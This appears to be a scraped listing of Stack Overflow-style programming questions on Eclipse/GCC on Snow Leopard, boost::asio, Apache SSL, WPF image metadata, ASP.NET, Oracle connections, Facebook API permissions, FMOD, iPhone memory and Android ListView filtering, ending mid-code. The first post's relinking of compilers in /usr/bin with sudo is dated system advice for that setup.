    Not a question, I've just scoured the internet in search of a solution for this problem and thought I'd share it with the good folks of SO. I'll put it in plain terms so that it's accessible to newbs. :) (Apologies if this is the wrong place -- just trying to be helpful.) This issue occurs with almost any user OS X Snow Leopard who tries to use the Eclipse C/C++ IDE, but is particularly annoying for the people (like me) who were using the Eclipse C/C++ IDE in Leopard, and were unable to work with Eclipse anymore when they upgraded. The issue occurs When users go to build/compile/link their software. They get the following error: Launch Failed. Binary Not Found. Further, the "binaries" branch in the project window on the left is simply nonexistent. THE PROBLEM: is that GCC 4.2 (the GNU Compiler Collection) that comes with Snow Leopard compiles binaries in 64-bit by default. Unfortunately, the linker that Eclipse uses does not understand 64-bit binaries; it reads 32-bit binaries. There may be other issues here, but in short, they culminate in no binary being generated, at least not one that Eclipse can read, which translates into Eclipse not finding the binaries. Hence the error. One solution is to add an -arch i686 flag when making the file, but manually making the file every time is annoying. Luckily for us, Snow Leopard also comes with GCC 4.0, which compiles in 32 bits by default. So one solution is merely to link this as the default compiler. This is the way I did it. THE SOLUTION: The GCCs are in /usr/bin, which is normally a hidden folder, so you can't see it in the Finder unless you explicitly tell the system that you want to see hidden folders. Anyway, what you want to do is go to the /usr/bin folder and delete the path that links the GCC command with GCC 4.2 and add a path that links the GCC command with GCC 4.0. In other words, when you or Eclipse try to access GCC, we want the command to go to the compiler that builds in 32 bits by default, so that the linker can read the files; we do not want it to go to the compiler that compiles in 64 bits. The best way to do this is to go to Applications/Utilities, and select the app called Terminal. A text prompt should come up. It should say something like "(Computer Name):~ (Username)$ " (with a space for you user input at the end). The way to accomplish the tasks above is to enter the following commands, entering each one in sequence VERBATIM, and pressing enter after each individual line. cd /usr/bin rm cc gcc c++ g++ ln -s gcc-4.0 cc ln -s gcc-4.0 gcc ln -s c++-4.0 c++ ln -s g++-4.0 g++ Like me, you will probably get an error that tells you you don't have permission to access these files. If so, try the following commands instead: cd /usr/bin sudo rm cc gcc c++ g++ sudo ln -s gcc-4.0 cc sudo ln -s gcc-4.0 gcc sudo ln -s c++-4.0 c++ sudo ln -s g++-4.0 g++ Sudo may prompt you for a password. If you've never used sudo before, try just pressing enter. If that doesn't work, try the password for your main admin account. OTHER POSSIBLE SOLUTIONS You may be able to enter build variables into Eclipse. I tried this, but I don't know enough about it. If you want to feel it out, the flag you will probably need is -arch i686. In earnest, GCC-4.0 worked for me all this time, and I don't see any reason to switch now. There may be a way to alter the default for the compiler itself, but once again, I don't know enough about it. Hope this has been helpful and informative. Good coding!

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  • boost::asio::async_write problem

    - by user368831
    Hi, I'm trying to figure out how asynchronous reads and writes work in boost asio by manipulating the echo example. Currently, I have a server that should, when sent a sentence, respond with only the first word. However, the boost::asio::async_write never seems to complete even though the write handler is being called. Can someone please explain what's going on? Here's the code: #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> using boost::asio::ip::tcp; class session { public: session(boost::asio::io_service& io_service) : socket_(io_service) { } tcp::socket& socket() { return socket_; } void start() { std::cout<<"starting"<<std::endl; boost::asio::async_read_until(socket_, buffer, ' ', boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void handle_read(const boost::system::error_code& error, size_t bytes_transferred) { // std::ostringstream ss; // ss<<&buffer; char* c = new char[bytes_transferred]; //std::string s; buffer.sgetn(c,bytes_transferred); std::cout<<"data: "<< c<<" bytes: "<<bytes_transferred<<std::endl; if (!error) { boost::asio::async_write(socket_, boost::asio::buffer(c,bytes_transferred), boost::bind(&session::handle_write, this, boost::asio::placeholders::error)); } else { delete this; } } void handle_write(const boost::system::error_code& error) { std::cout<<"handling write"<<std::endl; if (!error) { } else { delete this; } } private: tcp::socket socket_; boost::asio::streambuf buffer; }; class server { public: server(boost::asio::io_service& io_service, short port) : io_service_(io_service), acceptor_(io_service, tcp::endpoint(tcp::v4(), port)) { session* new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } void handle_accept(session* new_session, const boost::system::error_code& error) { if (!error) { new_session->start(); new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } else { delete new_session; } } private: boost::asio::io_service& io_service_; tcp::acceptor acceptor_; }; int main(int argc, char* argv[]) { try { if (argc != 2) { std::cerr << "Usage: async_tcp_echo_server <port>\n"; return 1; } boost::asio::io_service io_service; using namespace std; // For atoi. server s(io_service, atoi(argv[1])); io_service.run(); } catch (std::exception& e) { std::cerr << "Exception: " << e.what() << "\n"; } return 0; } Thanks!

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  • Can't start httpd 2.4.9 with self-signed SSL certificate

    - by Smollet
    I cannot start the httpd 2.4.9 (tried 2.4.x too) on CentOS 6.5 with the simplest SSL config possible. The openssl version installed on the machine is OpenSSL 1.0.1e-fips 11 Feb 2013 (I've upgraded it using 'yum update' to the latest patched version as well) I have compiled and installed the httpd 2.4.9 using the following commands: ./configure --enable-ssl --with-ssl=/usr/local/ssl/ --enable-proxy=shared --enable-proxy_wstunnel=shared --with-apr=apr-1.5.1/ --with-apr-util=apr-util-1.5.3/ make make install Now I'm generating the default self-signed certificate as described in the CentOS HowTo: openssl genrsa -out ca.key 2048 openssl req -new -key ca.key -out ca.csr openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt cp ca.crt /etc/pki/tls/certs cp ca.key /etc/pki/tls/private/ca.key cp ca.csr /etc/pki/tls/private/ca.csr Here is my httpd-ssl.conf file: Listen 443 SSLCipherSuite HIGH:MEDIUM:!aNULL:!MD5 SSLPassPhraseDialog builtin SSLSessionCache "shmcb:/usr/local/apache2/logs/ssl_scache(512000)" SSLSessionCacheTimeout 300 <VirtualHost *:443> SSLEngine on SSLCertificateFile /etc/pki/tls/certs/ca.crt SSLCertificateKeyFile /etc/pki/tls/private/ca.key <FilesMatch "\.(cgi|shtml|phtml|php)$"> SSLOptions +StdEnvVars </FilesMatch> <Directory "/usr/local/apache2/cgi-bin"> SSLOptions +StdEnvVars </Directory> BrowserMatch "MSIE [2-5]" \ nokeepalive ssl-unclean-shutdown \ downgrade-1.0 force-response-1.0 CustomLog "/usr/local/apache2/logs/ssl_request_log" \ "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" </VirtualHost> when I start httpd using bin/apachectl -k start I get following errors in the error_log: Wed Jun 04 00:29:27.995654 2014] [ssl:info] [pid 24021:tid 139640404293376] AH01887: Init: Initializing (virtual) servers for SSL [Wed Jun 04 00:29:27.995726 2014] [ssl:info] [pid 24021:tid 139640404293376] AH01914: Configuring server 192.168.9.128:443 for SSL protocol [Wed Jun 04 00:29:27.995863 2014] [ssl:debug] [pid 24021:tid 139640404293376] ssl_engine_init.c(312): AH01893: Configuring TLS extension handling [Wed Jun 04 00:29:27.996111 2014] [ssl:debug] [pid 24021:tid 139640404293376] ssl_util_ssl.c(343): AH02412: [192.168.9.128:443] Cert matches for name '192.168.9.128' [subject: CN=192.168.9.128,OU=XXX,O=XXXX,L=XXXX,ST=NRW,C=DE / issuer: CN=192.168.9.128,OU=XXX,O=XXXX,L=XXXX,ST=NRW,C=DE / serial: AF04AF31799B7695 / notbefore: Jun 3 22:26:45 2014 GMT / notafter: Jun 3 22:26:45 2015 GMT] [Wed Jun 04 00:29:27.996122 2014] [ssl:info] [pid 24021:tid 139640404293376] AH02568: Certificate and private key 192.168.9.128:443:0 configured from /etc/pki/tls/certs/ca.crt and /etc/pki/tls/private/ca.key [Wed Jun 04 00:29:27.996209 2014] [ssl:info] [pid 24021:tid 139640404293376] AH01914: Configuring server 192.168.9.128:443 for SSL protocol [Wed Jun 04 00:29:27.996280 2014] [ssl:debug] [pid 24021:tid 139640404293376] ssl_engine_init.c(312): AH01893: Configuring TLS extension handling [Wed Jun 04 00:29:27.996295 2014] [ssl:emerg] [pid 24021:tid 139640404293376] AH02572: Failed to configure at least one certificate and key for 192.168.9.128:443 [Wed Jun 04 00:29:27.996303 2014] [ssl:emerg] [pid 24021:tid 139640404293376] SSL Library Error: error:0906D06C:PEM routines:PEM_read_bio:no start line (Expecting: DH PARAMETERS) -- Bad file contents or format - or even just a forgotten SSLCertificateKeyFile? [Wed Jun 04 00:29:27.996308 2014] [ssl:emerg] [pid 24021:tid 139640404293376] SSL Library Error: error:0906D06C:PEM routines:PEM_read_bio:no start line (Expecting: EC PARAMETERS) -- Bad file contents or format - or even just a forgotten SSLCertificateKeyFile? [Wed Jun 04 00:29:27.996318 2014] [ssl:emerg] [pid 24021:tid 139640404293376] SSL Library Error: error:140A80B1:SSL routines:SSL_CTX_check_private_key:no certificate assigned [Wed Jun 04 00:29:27.996321 2014] [ssl:emerg] [pid 24021:tid 139640404293376] AH02312: Fatal error initialising mod_ssl, exiting. AH00016: Configuration Failed I then try to generate missing DH PARAMETERS and EC PARAMETERS: openssl dhparam -outform PEM -out dhparam.pem 2048 openssl ecparam -out ec_param.pem -name prime256v1 cat dhparam.pem ec_param.pem >> /etc/pki/tls/certs/ca.crt And it mitigates the error but the next comes out: [Wed Jun 04 00:34:05.021438 2014] [ssl:info] [pid 24089:tid 140719371077376] AH01887: Init: Initializing (virtual) servers for SSL [Wed Jun 04 00:34:05.021487 2014] [ssl:info] [pid 24089:tid 140719371077376] AH01914: Configuring server 192.168.9.128:443 for SSL protocol [Wed Jun 04 00:34:05.021874 2014] [ssl:debug] [pid 24089:tid 140719371077376] ssl_engine_init.c(312): AH01893: Configuring TLS extension handling [Wed Jun 04 00:34:05.022050 2014] [ssl:debug] [pid 24089:tid 140719371077376] ssl_util_ssl.c(343): AH02412: [192.168.9.128:443] Cert matches for name '192.168.9.128' [subject: CN=192.168.9.128,OU=XXX,O=XXXX,L=XXXX,ST=NRW,C=DE / issuer: CN=192.168.9.128,OU=XXX,O=XXXX,L=XXXX,ST=NRW,C=DE / serial: AF04AF31799B7695 / notbefore: Jun 3 22:26:45 2014 GMT / notafter: Jun 3 22:26:45 2015 GMT] [Wed Jun 04 00:34:05.022066 2014] [ssl:info] [pid 24089:tid 140719371077376] AH02568: Certificate and private key 192.168.9.128:443:0 configured from /etc/pki/tls/certs/ca.crt and /etc/pki/tls/private/ca.key [Wed Jun 04 00:34:05.022285 2014] [ssl:debug] [pid 24089:tid 140719371077376] ssl_engine_init.c(1016): AH02540: Custom DH parameters (2048 bits) for 192.168.9.128:443 loaded from /etc/pki/tls/certs/ca.crt [Wed Jun 04 00:34:05.022389 2014] [ssl:debug] [pid 24089:tid 140719371077376] ssl_engine_init.c(1030): AH02541: ECDH curve prime256v1 for 192.168.9.128:443 specified in /etc/pki/tls/certs/ca.crt [Wed Jun 04 00:34:05.022397 2014] [ssl:info] [pid 24089:tid 140719371077376] AH01914: Configuring server 192.168.9.128:443 for SSL protocol [Wed Jun 04 00:34:05.022464 2014] [ssl:debug] [pid 24089:tid 140719371077376] ssl_engine_init.c(312): AH01893: Configuring TLS extension handling [Wed Jun 04 00:34:05.022478 2014] [ssl:emerg] [pid 24089:tid 140719371077376] AH02572: Failed to configure at least one certificate and key for 192.168.9.128:443 [Wed Jun 04 00:34:05.022488 2014] [ssl:emerg] [pid 24089:tid 140719371077376] SSL Library Error: error:140A80B1:SSL routines:SSL_CTX_check_private_key:no certificate assigned [Wed Jun 04 00:34:05.022491 2014] [ssl:emerg] [pid 24089:tid 140719371077376] AH02312: Fatal error initialising mod_ssl, exiting. AH00016: Configuration Failed I have tried to generate the simple certificate/key pair exactly as described in the httpd docs Unfortunately, I still get exact same errors as above. I've seen a bug report with the similar issue: https://issues.apache.org/bugzilla/show_bug.cgi?id=56410 But the openssl version I have is reported as working there. I've also tried to apply the patch from the report as well as build the latest 2.4.x branch with no success, I get the same errors as above. I have also tried to create a short chain of certificates and set the root CA certificate using SSLCertificateChainFile directive. That didn't help either, I get exact same errors as above. I'm not interested in setting up hardened security, etc. The only thing I need is to start httpd with the simplest SSL config possible to continue testing proxy config for the mod_proxy_wstunnel Had anybody encountered and solved this issue? Is my sequence for creating a self-signed certificate incorrect? I'd appreciate any help very much!

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  • JpegBitmapEncoder.Save() throws exception when writing image with metadata to MemoryStream

    - by Dmitry
    I am trying to set up metadata on JPG image what does not have it. You can't use in-place writer (InPlaceBitmapMetadataWriter) in this case, cuz there is no place for metadata in image. If I use FileStream as output - everything works fine. But if I try to use MemoryStream as output - JpegBitmapEncoder.Save() throws an exception (Exception from HRESULT: 0xC0000005). After some investigation I also found out what encoder can save image to memory stream if I supply null instead of metadata. I've made a very simplified and short example what reproduces the problem: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Drawing; using System.Drawing.Imaging; using System.Windows.Media.Imaging; namespace JpegSaveTest { class Program { public static JpegBitmapEncoder SetUpMetadataOnStream(Stream src, string title) { uint padding = 2048; BitmapDecoder original; BitmapFrame framecopy, newframe; BitmapMetadata metadata; JpegBitmapEncoder output = new JpegBitmapEncoder(); src.Seek(0, SeekOrigin.Begin); original = JpegBitmapDecoder.Create(src, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.OnLoad); if (original.Frames[0] != null) { framecopy = (BitmapFrame)original.Frames[0].Clone(); if (original.Frames[0].Metadata != null) metadata = original.Frames[0].Metadata.Clone() as BitmapMetadata; else metadata = new BitmapMetadata("jpeg"); metadata.SetQuery("/app1/ifd/PaddingSchema:Padding", padding); metadata.SetQuery("/app1/ifd/exif/PaddingSchema:Padding", padding); metadata.SetQuery("/xmp/PaddingSchema:Padding", padding); metadata.SetQuery("System.Title", title); newframe = BitmapFrame.Create(framecopy, framecopy.Thumbnail, metadata, original.Frames[0].ColorContexts); output.Frames.Add(newframe); } else { Exception ex = new Exception("Image contains no frames."); throw ex; } return output; } public static MemoryStream SetTagsInMemory(string sfname, string title) { Stream src, dst; JpegBitmapEncoder output; src = File.Open(sfname, FileMode.Open, FileAccess.Read, FileShare.Read); output = SetUpMetadataOnStream(src, title); dst = new MemoryStream(); output.Save(dst); src.Close(); return (MemoryStream)dst; } static void Main(string[] args) { string filename = "Z:\\dotnet\\gnom4.jpg"; MemoryStream s; s = SetTagsInMemory(filename, "test title"); } } } It is simple console application. To run it, replace filename variable content with path to any .jpg file without metadata (or use mine). Ofc I can just save image to temporary file first, close it, then open and copy to MemoryStream, but its too dirty and slow workaround. Any ideas about getting this working are welcome :)

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  • How to get selected values from a dynamically created DropDownList Array after PostBack (Button Click)

    - by user739280
    I have a CheckBoxList that contains Employee Names on a Wizard Step. When employees are selected and the active step is changed, the Wizard1_ActiveStepChanged function is called and it dynamically creates a DropDownList Array for each employee that is selected. Each DropDownList specifies a condition of the employee. The DropDownList is created properly. When the user clicks submit, the DropDownList array is deleted and no selected values can be pulled from the array. I understand this is an issue with the PostBack and can be fixed with ViewState, but I am trying to figure out what I can do to fix it. ViewState is enabled for the checkboxlist and the DropDownList. This is what I have in the body of my System.Web.UI.Page class private int empcount; private DropDownList[] DDL_Emp { get { return (DropDownList[])ViewState["DDL_Emp"]; } set { ViewState["DDL_Emp"] = value; } } The relevant code: protected void Wizard1_ActiveStepChanged(object sender, EventArgs e) { if (Request.QueryString["type"] == "Accident" && BulletedList1.Items.Count > 0) { this.empcount = 0; for (int i = 0; i < CBL_EmpInvolved.Items.Count; i++) { if (CBL_EmpInvolved.Items[i].Selected) { this.empcount++; } } if(this.empcount > 0) { this.DDL_Emp = new DropDownList[this.empcount]; for (int i = 0, j=0; i < CBL_EmpInvolved.Items.Count; i++) { if (CBL_EmpInvolved.Items[i].Selected) { List<ListItem> cond = new List<ListItem>(); cond.Add(new ListItem("Disabled", CBL_EmpInvolved.Items[i].Value)); cond.Add(new ListItem("Diseased - Fatality", CBL_EmpInvolved.Items[i].Value)); cond.Add(new ListItem("On Treatment - Short Term Disability", CBL_EmpInvolved.Items[i].Value)); cond.Add(new ListItem("On Treatment - Long Term Disability", CBL_EmpInvolved.Items[i].Value)); cond.Add(new ListItem("Treated - Back to Work", CBL_EmpInvolved.Items[i].Value)); cond.Add(new ListItem("Treated - Relocated", CBL_EmpInvolved.Items[i].Value)); cond.Add(new ListItem("Treated - Transferred", CBL_EmpInvolved.Items[i].Value)); this.DDL_Emp[j] = new DropDownList(); this.DDL_Emp[j].ID = "DD_LabCondition_" + CBL_EmpInvolved.Items[i].Value; this.DDL_Emp[j].EnableViewState = true; this.DDL_Emp[j].Visible = true; this.DDL_Emp[j].Items.AddRange(cond.ToArray()); this.DDL_Emp[j].Items.Insert(0, new ListItem("-- Select condition of employee: " + CBL_EmpInvolved.Items[i].Text, "")); PH_LabCondition.Controls.Add(this.DDL_Emp[j]); j++; } } PH_LabCondition.Visible = true; MV_LabCondition.Visible = true; Label1_ReportTitle.Text += "Control Count: " + PH_LabCondition.Controls.Count.ToString(); } MV_LabCondition.ActiveViewIndex = 1; MV_LostTime.ActiveViewIndex = 1; } } This code is giving me the following error now: Type 'System.Web.UI.WebControls.DropDownList' in Assembly 'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' is not marked as serializable. I've tried changing buttons to images, playing with the AutoPostBack feature. I'm lost on how to get my dropdownlist array saved to the ViewState and accessing it after the postback.

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  • Oracle performance problem

    - by jreid42
    We are using an Oracle 11G machine that is very powerful; has redundant storage etc. It's a beast from what I have been told. We just got this DB for a tool that when I first came on as a coop had like 20 people using, now its upwards of 150 people. I am the only one working on it :( We currently have a system in place that distributes PERL scripts across our entire data center essentially giving us a sort of "grid" computing power. The Perl scripts run a sort of simulation and report back the results to the database. They do selects / inserts. The load is not very high for each script but it could be happening across 20-50 systems at the same time. We then have multiple data centers and users all hitting the same database with this same approach. Our main problem with this is that our database is getting overloaded with connections and having to drop some. We sometimes have upwards of 500 connections. These are old perl scripts and they do not handle this well. Essentially they fail and the results are lost. I would rather avoid having to rewrite a lot of these as they are poorly written, and are a headache to even look at. The database itself is not overloaded, just the connection overhead is too high. We open a connection, make a quick query and then drop the connection. Very short connections but many of them. The database team has basically said we need to lower the number of connections or they are going to ignore us. Because this is distributed across our farm we cant implement persistent connections. I do this with our webserver; but its on a fixed system. The other ones are perl scripts that get opened and closed by the distribution tool and thus arent always running. What would be my best approach to resolving this issue? The scripts themselves can wait for a connection to be open. They do not need to act immediately. Some sort of queing system? I've been suggested to set up a few instances of a tool called "SQL Relay". Maybe one in each data center. How reliable is this tool? How good is this approach? Would it work for what we need? We could have one for each data center and relay requests through it to our main database, keeping a pipeline of open persistent connections? Does this make sense? Is there any other suggestions you can make? Any ideas? Any help would be greatly appreciated. Sadly I am just a coop student working for a very big company and somehow all of this has landed all on my shoulders (there is literally nobody to ask for help; its a hardware company, everybody is hardware engineers, and the database team is useless and in India) and I am quite lost as what the best approach would be? I am extremely overworked and this problem is interfering with on going progress and basically needs to be resolved as quickly as possible; preferably without rewriting the whole system, purchasing hardware (not gonna happen), or shooting myself in the foot. HELP LOL!

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  • BlackBerry - Facebook extended permissions

    - by Max Gontar
    Hi! I've just found a great sample of Facebook Connect on Blackberry by Eki Y. Baskoro, The following is a short HOWTO on using Facebook Connect on Blackberry. I created a simple Facade encapsulating the Facebook REST API as well as added 'rough' MVC approach for screen navigation. I have tested on JDE 4.5 using 8320 simulator. This is still work in progress and all work is GPLed. It works great for reading stuff. NB Don't forget to get Facebook App Key and set it in TestBB class. But now I want to post something on my wall. So I've add new method to FacebookFacade class using Stream.publish API: /*** * Publishes message to the stream. * @param message - message that will appear on the facebook stream * @param targetId - The ID of the user, Page, group, or event where * you are publishing the content. */ public void streamPublish(String message, String targetId) { Hashtable arguments = new Hashtable(); arguments.put("method", "stream.publish"); arguments.put("message", message); arguments.put("target_id", targetId); try { JSONObject result = new JSONObject( int new JSONTokener(sendRequest(arguments))); int errorCode = result.getInt("error_code"); if (errorCode != 0) System.out.println("Error Code: "+errorCode); } catch (Exception e) { System.out.println(e); } } /*** * Publishes message on current user wall. * @param message - message that will appear on the facebook stream */ public void postOnTheWall(String message) { String targetId = String.valueOf(getLoggedInUserId()); streamPublish(message, targetId); } This will return Error code 200, "The user hasn't authorized the application to perform this action" First I thought it's related with Facebook - Application Settings - Additional Permissions - Publish recent activity (one line stories) to my wall but even checked, no difference... Then I've found this post explains that issue related with extended permissions. This in turn should be fixed by modifying url a little in LoginScreen class : public LoginScreen(FacebookFacade facebookFacade) { this.facebookFacade = facebookFacade; StringBuffer data = new StringBuffer(); data.append("api_key=" + facebookFacade.getApplicationKey()); data.append("&connect_display=popup"); data.append("&v=1.0"); //revomed //data.append("&next=http://www.facebook.com/connect/login_success.html"); //added data.append("&next=http://www.facebook.com/connect/prompt_permissions.php?" + "api_key="+facebookFacade.getApplicationKey()+"&display=popup&v=1.0"+ "&next=http://www.facebook.com/connect/login_success.html?"+ "xxRESULTTOKENxx&fbconnect=true" + "&ext_perm=read_stream,publish_stream,offline_access"); data.append("&cancel_url=http://www.facebook.com/connect/login_failure.html"); data.append("&fbconnect=true"); data.append("&return_session=true"); (new FetchThread("http://m.facebook.com/login.php?" + data.toString())).start(); } Unfortunately it's not working. Still Error Code 200 in return to stream.publish request... Do you have any suggestions how to resolve this? Thank you!

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  • FMOD.net streaming, callback and exinfo parameters

    - by Tesserex
    I posted a question on gamedev about how to play nsf files (NES console music) in FMOD. It didn't get any results, but since then I made some progress. I decided that the easiest method was just to compile an existing player into a dll and then call it from C# to populate my buffer. The problem now is getting it to sound right, and making sure all my paremeters are correct. Here are the facts so far: The nsf dll is dealing with shorts, so the data is PCM16. The sample nsf I'm using has a playback rate of 60 Hz. Just for playing around now, I'm using a frequency of 48000. Based on 2 and 3, the dll calculates a necessary buffer size of 48000 / 60hz = 800. This means it will render 800 shorts worth of buffer for every simulated NES frame. I've so far got my C# code to play the nsf, at the correct pitch and tempo, but it's very grainy / fuzzy, which I'm attributing to the fact that the FMOD read callback is giving a data length of 1600, whereas I should be expecting 800. I've tried playing around with all the numbers and it either crashes, or the music changes pitch, tempo, or both. Here's some of my C# code: uint channels = 1, frequency = 48000; FMOD.MODE mode = (FMOD.MODE.DEFAULT | FMOD.MODE.OPENUSER | FMOD.MODE.LOOP_NORMAL); FMOD.Sound sound = new FMOD.Sound(); FMOD.CREATESOUNDEXINFO ex = new FMOD.CREATESOUNDEXINFO(); ex.cbsize = Marshal.SizeOf(ex); ex.fileoffset = 0; ex.format = FMOD.SOUND_FORMAT.PCM16; // does this even matter? It doesn't change my results as long as it's long enough for one update ex.length = frequency; ex.numchannels = (int)channels; ex.defaultfrequency = (int)frequency; ex.pcmreadcallback = pcmreadcallback; ex.dlsname = null; // eventually I will calculate this with frequency / nsf hz, but I'm just testing for now ex.decodebuffersize = 800; // from the dll load_nsf_file("file.nsf", 8, (int)frequency); // 8 is the track number to play var result = system.createSound( (string)null, (mode | FMOD.MODE.CREATESTREAM), ref ex, ref sound); channel = new FMOD.Channel(); result = system.playSound(FMOD.CHANNELINDEX.FREE, sound, false, ref channel); private FMOD.RESULT PCMREADCALLBACK(IntPtr soundraw, IntPtr data, uint datalen) { // from the dll process_buffer(data, (int)800); // if I use datalen, it usually crashes (I can't get datalen to = 800 safely) return FMOD.RESULT.OK; } So here are some of my questions: What is the relationship between exinfo.decodebuffersize, frequency, and the datalen parameter of the read callback? With this code sample, it's coming in as 3200. I don't know where that factor of 4 between it and the decodebuffersize comes from. Is datalen in the callback referring to number of bytes, or shorts? The process_buffer function takes a short array and its length. I would expect fmod is talking about shorts as well because I told it PCM16. Maybe my playback quality is bad for some totally different reason. If so I have no idea where to begin solving that. Any ideas there?

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  • Understanding the memory consumption on iPhone

    - by zoul
    Hello! I am working on a 2D iPhone game using OpenGL ES and I keep hitting the 24 MB memory limit – my application keeps crashing with the error code 101. I tried real hard to find where the memory goes, but the numbers in Instruments are still much bigger than what I would expect. I ran the application with the Memory Monitor, Object Alloc, Leaks and OpenGL ES instruments. When the application gets loaded, free physical memory drops from 37 MB to 23 MB, the Object Alloc settles around 7 MB, Leaks show two or three leaks a few bytes in size, the Gart Object Size is about 5 MB and Memory Monitor says the application takes up about 14 MB of real memory. I am perplexed as where did the memory go – when I dig into the Object Allocations, most of the memory is in the textures, exactly as I would expect. But both my own texture allocation counter and the Gart Object Size agree that the textures should take up somewhere around 5 MB. I am not aware of allocating anything else that would be worth mentioning, and the Object Alloc agrees. Where does the memory go? (I would be glad to supply more details if this is not enough.) Update: I really tried to find where I could allocate so much memory, but with no results. What drives me wild is the difference between the Object Allocations (~7 MB) and real memory usage as shown by Memory Monitor (~14 MB). Even if there were huge leaks or huge chunks of memory I forget about, the should still show up in the Object Allocations, shouldn’t they? I’ve already tried the usual suspects, ie. the UIImage with its caching, but that did not help. Is there a way to track memory usage “debugger-style”, line by line, watching each statement’s impact on memory usage? What I have found so far: I really am using that much memory. It is not easy to measure the real memory consumption, but after a lot of counting I think the memory consumption is really that high. My fault. I found no easy way to measure the memory used. The Memory Monitor numbers are accurate (these are the numbers that really matter), but the Memory Monitor can’t tell you where exactly the memory goes. The Object Alloc tool is almost useless for tracking the real memory usage. When I create a texture, the allocated memory counter goes up for a while (reading the texture into the memory), then drops (passing the texture data to OpenGL, freeing). This is OK, but does not always happen – sometimes the memory usage stays high even after the texture has been passed on to OpenGL and freed from “my” memory. This means that the total amount of memory allocated as shown by the Object Alloc tool is smaller than the real total memory consumption, but bigger than the real consumption minus textures (real – textures < object alloc < real). Go figure. I misread the Programming Guide. The memory limit of 24 MB applies to textures and surfaces, not the whole application. The actual red line lies a bit further, but I could not find any hard numbers. The consensus is that 25–30 MB is the ceiling. When the system gets short on memory, it starts sending the memory warning. I have almost nothing to free, but other applications do release some memory back to the system, especially Safari (which seems to be caching the websites). When the free memory as shown in the Memory Monitor goes zero, the system starts killing. I had to bite the bullet and rewrite some parts of the code to be more efficient on memory, but I am probably still pushing it. I

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  • Filtered ListView not updated

    - by Anton
    Hi! I have a ListView with a custom Adapter that extends ArrayAdapter. It's a ArrayAdapter of Type Artist. Artist is a very small class that has a name and an id. The Artist Class has toString() overridden to return just the name. I have an EditText. The EditText has an TextChangeListener where i call .getFilter().filter(chars, callback) on my adapter. In the Filter.Filterlistener().onComplete() callback i print the count and it looks really good. As i type the count decreases. So it seams everything works as advertised, but the List stays the same. I tried to call artistAdapter.notifyDataSetChanged() to force the list to redraw, but nothing happens. [see 2.)] I am tinkering around for days now! I am desperate.. Hopefully someone can have a look on my code and tell me what i am doing wrong! Thanks! Here is what i have done: 1.) Defined a ListView and an EditText like this: <EditText xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/list_search_text" android:layout_width="fill_parent" android:layout_height="35dip" android:layout_below="@id/header"> </EditText> <ListView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/list_search" android:layout_width="fill_parent" android:layout_height="fill_parent"> </ListView> 2.) Setup my ListView in the Activities onCreate(): private ListView listView = null; private ArtistAdapter artistAdapter = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.search_artists); artistAdapter = new ArtistAdapter(this, R.layout.row, list); // 'list' is an ArrayList<Artist> listView = (ListView) findViewById(R.id.list_search); listView.setAdapter(artistAdapter); listView.setFastScrollEnabled(true); listView.setTextFilterEnabled(true); listView.setOnItemClickListener(new OnItemClickListener() { public void onItemClick(AdapterView<?> av, View v, int position, long id) { // do something } }); EditText txtSearch = (EditText) findViewById(R.id.list_search_text); txtSearch.addTextChangedListener(new TextWatcher() { public void afterTextChanged(Editable arg0) { } public void beforeTextChanged(CharSequence arg0, int arg1, int arg2, int arg3) { } public void onTextChanged(CharSequence chars, int start, int before, int count) { artistAdapter.getFilter().filter(chars, new Filter.FilterListener() { public void onFilterComplete(int count) { Log.d(Config.LOG_TAG, "filter complete! count: " + count); artistAdapter.notifyDataSetChanged(); } }); } }); } 3.) This is my ArtistAdapter in short. I added an remove() and add() method: public class ArtistAdapter extends ArrayAdapter<Artist> implements SectionIndexer { private List<Artist> items; /* other stuff like overridden getView, getPositionForSection, getSectionForPosition and so on */ @Override public void remove(Artist object) { super.remove(object); items.remove(object); } @Override public void add(Artist object) { super.add(object); items.add(object); } } 4.) My artist has also the toString() overridden: public class Artist implements Comparable<Artist> { public String uid; public String name; public Artist(String id, String name) { this.uid = id; this.name = name; } public int compareTo(Artist another) { return this.name.compareToIgnoreCase(another.name); } @Override public String toString() { return this.name; } }

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  • Does boost::asio makes excessive small heap allocations or am I wrong?

    - by Poni
    #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> using boost::asio::ip::tcp; class session { public: session(boost::asio::io_service& io_service) : socket_(io_service) { } tcp::socket& socket() { return socket_; } void start() { socket_.async_read_some(boost::asio::buffer(data_, max_length - 1), boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } void handle_read(const boost::system::error_code& error, size_t bytes_transferred) { if (!error) { data_[bytes_transferred] = '\0'; if(NULL != strstr(data_, "quit")) { this->socket().shutdown(boost::asio::ip::tcp::socket::shutdown_both); this->socket().close(); // how to make this dispatch "handle_read()" with a "disconnected" flag? } else { boost::asio::async_write(socket_, boost::asio::buffer(data_, bytes_transferred), boost::bind(&session::handle_write, this, boost::asio::placeholders::error)); socket_.async_read_some(boost::asio::buffer(data_, max_length - 1), boost::bind(&session::handle_read, this, boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)); } } else { delete this; } } void handle_write(const boost::system::error_code& error) { if (!error) { // } else { delete this; } } private: tcp::socket socket_; enum { max_length = 1024 }; char data_[max_length]; }; class server { public: server(boost::asio::io_service& io_service, short port) : io_service_(io_service), acceptor_(io_service, tcp::endpoint(tcp::v4(), port)) { session* new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } void 